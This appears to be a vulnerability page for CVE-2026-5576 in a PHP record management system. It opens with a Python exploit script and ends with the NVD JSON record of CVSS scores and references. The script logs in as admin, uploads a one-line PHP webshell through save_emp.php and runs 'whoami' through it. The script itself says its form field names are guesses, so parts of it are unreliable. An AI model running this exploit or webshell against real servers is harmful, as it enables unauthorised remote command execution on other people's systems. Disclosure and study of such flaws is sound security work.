CVE-2026-5576

#!/usr/bin/env python3 # Exploit Title: SourceCodester jkev Record Management System 1.0 - Unrestricted File Upload (RCE) # Date: 2026-04-05 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/... # Version: 1.0 # CVE: CVE-2026-5576 import requests # Configuration target_url = "http://target.com/jkev_record_management/" login_url = target_url + "login.php" upload_url = target_url + "save_emp.php" shell_name = "shell.php" username = "admin" # Requires High Privilege (PR:H) password = "password" # Create a session session = requests.Session() # Step 1: Login (High Privilege Required) login_data = { "username": username, "password": password } print("[+] Logging in...") response = session.post(login_url, data=login_data) if "login_success" in response.text or response.status_code == 200: print("[+] Login successful!") else: print("[-] Login failed. Check credentials.") exit() # Step 2: Prepare malicious file (PHP Webshell) php_code = "<?php system($_GET['cmd']); ?>" files = { 'photo': (shell_name, php_code, 'application/octet-stream') } # Step 3: Upload the file via save_emp.php # Note: The parameter name 'photo' is an assumption based on typical employee forms. # Adjust 'photo' and other fields based on the actual form structure. upload_data = { 'firstname': 'Test', 'lastname': 'User', # ... other required fields ... } print(f"[+] Uploading {shell_name}...") response = session.post(upload_url, files=files, data=upload_data) if response.status_code == 200: print("[+] File uploaded. Attempting to execute...") # Step 4: Verify execution shell_url = target_url + "uploads/" + shell_name # Check path structure verify = session.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"[+] Shell accessible at: {shell_url}") else: print("[-] Upload might have failed or path is incorrect.") else: print("[-] Upload request failed.")

{"cve": {"id": "CVE-2026-5576", "sourceIdentifier": "[email protected]", "published": "2026-04-05T16:16:19.123", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in SourceCodester/jkev Record Management System 1.0. Affected by this issue is some unknown functionality of the file save_emp.php of the component Add Employee Page. This manipulation causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/whatyourname12345/CVE/blob/main/PRMS/cve_Arbitrary%20File%20Upload%20to%20RCE.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/783473", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355346", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355346/cti", "source": "[email protected]"}]}}